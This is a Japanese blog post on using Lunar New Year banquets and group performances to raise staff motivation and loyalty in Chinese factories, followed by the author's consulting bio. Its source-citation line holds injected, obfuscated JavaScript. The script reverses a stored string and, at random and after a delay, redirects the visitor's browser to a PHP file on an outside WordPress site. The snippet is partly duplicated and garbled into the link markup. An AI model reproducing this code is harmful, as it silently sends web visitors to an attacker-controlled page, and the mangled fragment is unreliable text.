旧正月の行事は従業員のモチベーション?!

旧正月の行事は従業員のモチベーション?!

中国工場では従業員の定着率を少しでも高めることが、
品質管理の面からも必要であり取り組まなくてはなりません。

今は従業員の意識も以前とは変わってきているので、
給料に加えて働くことへのモチベーションを持たせることが大事になっています。

そのためには、少しでも自分の工場と思うような帰属意識を持ってもらうことです。
工場で働くモチベーションが帰属意識につながります。
こうした意識を持たすには日頃からの従業員に対する意識付や仕組みが必要ですが、
たまに行うイベントも大事な役割を果たします。

わたしが駐在していた工場では旧正月明けに12、3人座れる円卓が
50卓くらいある大きなレストランを貸切りにして盛大に新年会を催していました。

ある読者の方の会社では、こんなものではなく
数千人規模で宴会をやっているとのメールを写真と一緒にいただきました。
この人数での宴会はちょっと想像できないですね。

新年会のメインは、所属ごとの歌や踊りでした。
グループでの出し物となるのでぶっつけ本番ではできません。
事前の練習が必要ですが、実はこれが従業員の楽しみになっていたのですね。
踊りの衣装も揃えてみんな一生懸命練習していました。
衣装の費用については、上限金額を決めて会社が補助していました。

旧正月の忘・新年会もただ飲み食いするだけでなく、
従業員の意向を酌んだ催しにすることで、
従業員が工場で働くモチベーションに少しでもつながるようにしたいものです。
実際に、モチベーションにつなげている会社があるのも事実でしょう。

この催しで大事なのは、工場トップと従業員が直に接する場と言うことです。
この機会をうまく使ってトップ自らが想いを伝えるようにしてください。
特に従業員を大切にしているということを伝えましょう。

従業員のモチベーションに関しては、
この1回の催しだけで事足りるものではありませんが、
積み重ねですから一つひとつの機会を大事にしたいものです。

 

出典:$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toimprove/entry-12123494031.html” target=”_blank”>旧正月の行事は従業員のモチベーション?!


KPIマネジメント代表・チーフコンサルタント◎電機系メーカーにて技術部門、資材部門を経て香港・中国に駐在。現地においては、購入部材の品質管理責任者として購入部材仕入先品質指導及び品質改善指導。延べ100社に及ぶ仕入先工場の品質改善指導に奔走 ◎東京都/千葉県商工会連合会専門エキスパート(品質管理、製造業指導) GCS認定コーチ◎日本生産性本部経営アカデミー講師 名古屋外国語大学非常勤講師 セミナー/企業研修講師多数◎中国工場コンサルティング実績 日系中国工場品質改善及び管理体制の見直し(広東省)、中国企業品質管理体制の構築(福建省1社)、中国企業労務人事管理監査対応指導(パートナーコンサルタントと共同で実施:広東省1社)、米国D社の労務人事監査指摘事項への対応を指導、中国工場品質管理体制の構築(広東、大連など2社)、中国工場運営管理支援(広東1社)、外観検査の精度向上指導(広東1社)、中国生産委託先工場監査代行(広東1社) 国内工場管理の見直し及び製品コストダウン、外灯製造会社の5S指導、金属加工会社の品質管理・改善、生産性向上指導(1社)、金属加工会社の組織再構築、経営改革指導(1社)、板金塗装会社の5S指導(1社)、環境関連企業の新工場立ち上げ支援(1社)◎製造業向け社員研修実績 中国人管理者教育(広東、大連、厦門など3社)、コーチング研修(2社)、来日した中国企業スタッフ研修、中国赴任前研修(パソナ様)、若手社員向け中国工場の問題点と対処法(和歌山県工業技術センター様)、中国工場品質管理講座&異文化コミュニケーション(富士通テレコムネットワークス様)、仕入先様品質管理勉強会 テーマ:中国工場での品質管理の進め方(株式会社オートバックスセブン様)、中国への生産委託に伴う工程/品質管理のポイント(N社様、I社様) ◎著書 こうすれば失敗しない!中国工場の品質改善<虎の巻>(日刊工業新聞社)、雑誌「標準化と品質管理」2012年8月号特集記事執筆(日本規格協会)、外観検査の不良見逃し・ばらつき低減(技術情報協会・共同執筆)、通信教育講座「外観目視検査の進め方と留意点」担当講師(テキスト執筆、添削指導) ◎KPIマネジメント http://www.prestoimprove.com/index.html ブログ「中国工場での品質管理・品質改善」https://ameblo.jp/prestoimprove/